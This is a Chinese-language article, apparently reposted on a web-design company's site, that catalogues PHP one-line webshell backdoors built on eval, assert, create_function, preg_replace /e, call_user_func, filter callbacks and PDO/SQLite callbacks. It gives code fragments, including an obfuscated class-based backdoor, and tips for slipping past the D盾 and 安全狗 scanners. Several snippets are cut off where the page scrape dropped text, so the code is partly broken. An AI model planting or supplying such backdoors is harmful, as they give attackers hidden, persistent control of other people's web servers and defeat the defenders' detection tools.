php任意代码执行的一句话后门有哪些,相信很多没有经验的人对此束手无策,为此本文总结了问题出现的原因和解决方法,通过这篇文章希望你能解决这个问题。
专注于为中小企业提供网站制作、成都做网站服务,电脑端+手机端+微信端的三站合一,更高效的管理,为中小企业蓬莱免费做网站提供优质的服务。我们立足成都,凝聚了一批互联网行业人才,有力地推动了成百上千企业的稳健成长,帮助中小企业通过网站建设实现规模扩充和转变。
php任意代码执行的一句话后门,我们喜欢用的是传统的eval,php5,7通用。
但由于eval不能拆分,早期也有人喜欢用assert,这样通过编码和拆分assert,隐蔽性更高
虽然有人说assert在php7.0及其以上版本被禁用,但实际上并没有禁用,而是和eval一样禁止拆分了。
绝大部分一句话后门,都跟这两个函数(其实不是函数)有关
create_function,它的作用是创建一个匿名函数,在内部也相当于执行了一次eval。php5,7都可用
/e修饰符,也就是大家熟知的preg_replace。这个则是真的php7用不了了,仅限php5。
除了preg_replace之外,还有一个和它类似的函数。
这两个都是仅限php5的,php7也想用这种方法怎么办呢?有办法,php并没有完全将/e修饰符赶尽杀绝。
它们甚至还有别名
上面这些都开发出来很久了,单纯拿这些去绕D盾是很难的,这里也不是来教大家绕D盾的。想绕的话,其实D盾对类的检测力度不高,自己写个混淆一点的类,php5用assert拆分,php7用create_function拆分其实就很容易绕过去。举个例子
//该例子为create_function拆分,php5.3.29和5.2.17测试完不可行,php5.4.45-php7都可行。故php5用assert拆分,php7用create_function拆分这样最稳 '_function']; public $value = ''; public function __construct(){ $this->value = $_POST['a']; $name=get_class($this).$this->filter['q']; $st=$name('',$this->value); $st(); } } $a = new create();
回调函数的本质是下面这种代码,以函数作为变量。
比较老的回调后门
URL地址:http://127.0.0.1/1.php 连接密码:pass
php中call_user_func是执行回调函数的标准方法,这是比较老的后门了:
真免杀回调后门(过安全狗,D盾)
URL地址:http://127.0.0.1/1.php?e=assert 连接密码:pass
'assert'));$_REQUEST['pass']), array('test' => array('filter' => FILTER_CALLBACK, 'options' => 'assert')));下面这两个回调后门,都是依靠php扩展库(pdo和sqlite3)来实现的:
sqliteCreateFunction('myfunc', $e, 1); $sth = $db->prepare("SELECT myfunc(:exec)"); $sth->execute(array(':exec' => $_REQUEST['pass']));上面这种sqlite方法是依靠PDO执行的。我们也可以直接调用sqlite3的方法构造回调后门,前提是php5.3以上。
createFunction('myfunc', $e); $stmt = $db->prepare("SELECT myfunc(?)"); $stmt->bindValue(1, $_REQUEST['pass'], SQLITE3_TEXT); $stmt->execute();看完上述内容,你们掌握php任意代码执行的一句话后门有哪些的方法了吗?如果还想学到更多技能或想了解更多相关内容,欢迎关注创新互联行业资讯频道,感谢各位的阅读!
网页标题:php任意代码执行的一句话后门有哪些
转载注明:http://cdkjz.cn/article/jchsjg.html